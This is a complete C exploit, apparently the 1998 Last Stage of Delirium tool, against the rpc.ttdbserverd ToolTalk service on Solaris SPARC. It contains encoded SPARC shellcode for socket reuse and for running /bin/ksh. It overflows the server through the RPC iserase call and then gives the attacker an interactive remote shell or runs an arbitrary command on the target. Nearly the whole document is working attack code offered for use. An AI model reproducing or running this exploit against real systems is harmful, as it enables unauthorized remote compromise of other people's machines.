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- /*## copyright LAST STAGE OF DELIRIUM jul 1998 poland *://lsd-pl.net/ #*/
- /*## rpc.ttdbserverd #*/
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <rpc/rpc.h>
- #include <netdb.h>
- #include <stdio.h>
- #include <errno.h>
-
- int adrnum;
- int nopnum;
-
- #define TTDBSERVERD_PROG 100083
- #define TTDBSERVERD_VERS 1
- #define TTDBSERVERD_ISERASE 7
-
- char findsckcode[]=
- "\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */
- "\x20\xbf\xff\xff" /* bn,a <findsckcode> */
- "\x7f\xff\xff\xff" /* call <findsckcode+4> */
- "\xa0\x20\x3f\xff" /* sub %g0,-1,%l0 */
- "\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
- "\xa6\x10\x20\x44" /* mov 0x44,%l3 */
- "\xa8\x10\x23\xff" /* mov 0x3ff,%l4 */
- "\xaa\x03\xe0\x44" /* add %o7,68,%l5 */
- "\x81\xc5\x60\x08" /* jmp %l5+8 */
-
- "\xaa\x10\x20\xff" /* mov 0xff,%l5 */
- "\xab\x2d\x60\x08" /* sll %l5,8,%l5 */
- "\xaa\x15\x60\xff" /* or %l5,0xff,%l5 */
- "\xe2\x03\xff\xd0" /* ld [%o7-48],%l1 */
- "\xac\x0c\x40\x15" /* and %l1,%l5,%l6 */
- "\x2b\x00\x00\x00" /* sethi %hi(0x00000000),%l5 */
- "\xaa\x15\x60\x00" /* or %l5,0x000,%l5 */
- "\xac\x05\x40\x16" /* add %l5,%l6,%l6 */
- "\xac\x05\xbf\xff" /* add %l6,-1,%l6 */
- "\x80\xa5\xbf\xff" /* cmp %l6,-1 */
- "\x02\xbf\xff\xf5" /* be <findsckcode+32> */
- "\xaa\x03\xe0\x7c" /* add %o7,0x7c,%l5 */
-
- "\xe6\x23\xff\xc4" /* st %l3,[%o7-60] */
- "\xc0\x23\xff\xc8" /* st %g0,[%o7-56] */
- "\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
- "\x90\x04\x3f\xff" /* add %l0,-1,%o0 */
- "\xaa\x10\x20\x54" /* mov 0x54,%l5 */
- "\xad\x2d\x60\x08" /* sll %l5,8,%l6 */
- "\x92\x15\xa0\x91" /* or %l6,0x91,%o1 */
- "\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
- "\x82\x10\x20\x36" /* mov 0x36,%g1 */
- "\x91\xd0\x20\x08" /* ta 8 */
- "\xa0\x24\x3f\xff" /* sub %l0,-1,%l0 */
- "\x1a\xbf\xff\xe9" /* bcc <findsckcode+36> */
- "\x80\xa4\x23\xff" /* cmp %l0,0x3ff */
- "\x04\xbf\xff\xf3" /* bl <findsckcode+84> */
-
- "\xaa\x20\x3f\xff" /* sub %g0,-1,%l5 */
- "\x90\x05\x7f\xff" /* add %l5,-1,%o0 */
- "\x82\x10\x20\x06" /* mov 0x6,%g1 */
- "\x91\xd0\x20\x08" /* ta 8 */
- "\x90\x04\x3f\xfe" /* add %l0,-2,%o0 */
- "\x82\x10\x20\x29" /* mov 0x29,%g1 */
- "\x91\xd0\x20\x08" /* ta 8 */
- "\xaa\x25\x7f\xff" /* sub %l5,-1,%l5 */
- "\x80\xa5\x60\x03" /* cmp %l5,3 */
- "\x04\xbf\xff\xf8" /* ble <findsckcode+144> */
- "\x80\x1c\x40\x11" /* xor %l1,%l1,%g0 */
- ;
-
- char shellcode[]=
- "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
- "\x20\xbf\xff\xff" /* bn,a <shellcode> */
- "\x7f\xff\xff\xff" /* call <shellcode+4> */
- "\x90\x03\xe0\x20" /* add %o7,32,%o0 */
- "\x92\x02\x20\x10" /* add %o0,16,%o1 */
- "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
- "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
- "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
- "\x82\x10\x20\x0b" /* mov 0xb,%g1 */
- "\x91\xd0\x20\x08" /* ta 8 */
- "/bin/ksh"
- ;
-
- char cmdshellcode[]=
- "\x20\xbf\xff\xff" /* bn,a <cmdshellcode-4> */
- "\x20\xbf\xff\xff" /* bn,a <cmdshellcode> */
- "\x7f\xff\xff\xff" /* call <cmdshellcode+4> */
- "\x90\x03\xe0\x34" /* add %o7,52,%o0 */
- "\x92\x23\xe0\x20" /* sub %o7,32,%o1 */
- "\xa2\x02\x20\x0c" /* add %o0,12,%l1 */
- "\xa4\x02\x20\x10" /* add %o0,16,%l2 */
- "\xc0\x2a\x20\x08" /* stb %g0,[%o0+8] */
- "\xc0\x2a\x20\x0e" /* stb %g0,[%o0+14] */
- "\xd0\x23\xff\xe0" /* st %o0,[%o7-32] */
- "\xe2\x23\xff\xe4" /* st %l1,[%o7-28] */
- "\xe4\x23\xff\xe8" /* st %l2,[%o7-24] */
- "\xc0\x23\xff\xec" /* st %g0,[%o7-20] */
- "\x82\x10\x20\x0b" /* mov 0xb,%g1 */
- "\x91\xd0\x20\x08" /* ta 8 */
- "/bin/ksh -c "
- ;
-
- static char nop[]="\x80\x1c\x40\x11";
-
- typedef struct{char *string;}req_t;
-
- bool_t xdr_req(XDR *xdrs,req_t *obj){
- if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
- return(TRUE);
- }
-
- main(int argc,char **argv){
- char buffer[30000],address[4],*b,*cmd;
- int i,c,n,flag=1,vers=0,port=0,sck;
- CLIENT *cl;enum clnt_stat stat;
- struct hostent *hp;
- struct sockaddr_in adr;
- struct timeval tm={10,0};
- req_t req;
-
- printf("copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/\n");
- printf("rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc\n\n");
-
- if(argc<2){
- printf("usage: %s address [-s|-c command] [-p port] [-v 6]\n",argv[0]);
- exit(-1);
- }
-
- while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
- switch(c){
- case 's': flag=1;break;
- case 'c': flag=0;cmd=optarg;break;
- case 'p': port=atoi(optarg);break;
- case 'v': vers=atoi(optarg);
- }
- }
-
- if(vers==6){
- *(unsigned long*)address=htonl(0xeffff420+1200+552);
- adrnum=1200;
- nopnum=1300;
- }else{
- *(unsigned long*)address=htonl(0xefffdadc+1000+4500);
- adrnum=3000;
- nopnum=6000;
- }
-
- printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
- fflush(stdout);
-
- adr.sin_family=AF_INET;
- adr.sin_port=htons(port);
- if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
- if((hp=gethostbyname(argv[1]))==NULL){
- errno=EADDRNOTAVAIL;perror("error");exit(-1);
- }
- memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
- }
-
- sck=RPC_ANYSOCK;
- if(!(cl=clnttcp_create(&adr,TTDBSERVERD_PROG,TTDBSERVERD_VERS,&sck,0,0))){
- clnt_pcreateerror("error");exit(-1);
- }
- cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
-
- b=buffer;
- for(i=0;i<adrnum;i++) *b++=address[i%4];
- for(i=0;i<nopnum;i++) *b++=nop[i%4];
- if(flag){
- i=sizeof(struct sockaddr_in);
- if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
- struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
- ioctl(sck,(('S'<<8)|2),"sockmod");
- nb.maxlen=0xffff;
- nb.len=sizeof(struct sockaddr_in);;
- nb.buf=(char*)&adr;
- ioctl(sck,(('T'<<8)|144),&nb);
- }
- n=-ntohs(adr.sin_port);
- printf("port=%d connected! ",-n);fflush(stdout);
-
- *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff);
- *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff);
- for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
- for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
- }else{
- for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
- for(i=0;i<strlen(cmd);i++) *b++=cmd[i];
- *b++=';';
- }
- *b++=':';
- *b=0;
-
- req.string=buffer;
-
- stat=clnt_call(cl,TTDBSERVERD_ISERASE,xdr_req,&req,xdr_void,NULL,tm);
- if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
- printf("sent!\n");if(!flag) exit(0);
-
- write(sck,"/bin/uname -a\n",14);
- while(1){
- fd_set fds;
- FD_ZERO(&fds);
- FD_SET(0,&fds);
- FD_SET(sck,&fds);
- if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
- int cnt;
- char buf[1024];
- if(FD_ISSET(0,&fds)){
- if((cnt=read(0,buf,1024))<1){
- if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
- else break;
- }
- write(sck,buf,cnt);
- }
- if(FD_ISSET(sck,&fds)){
- if((cnt=read(sck,buf,1024))<1){
- if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
- else break;
- }
- write(1,buf,cnt);
- }
- }
- }
- }
-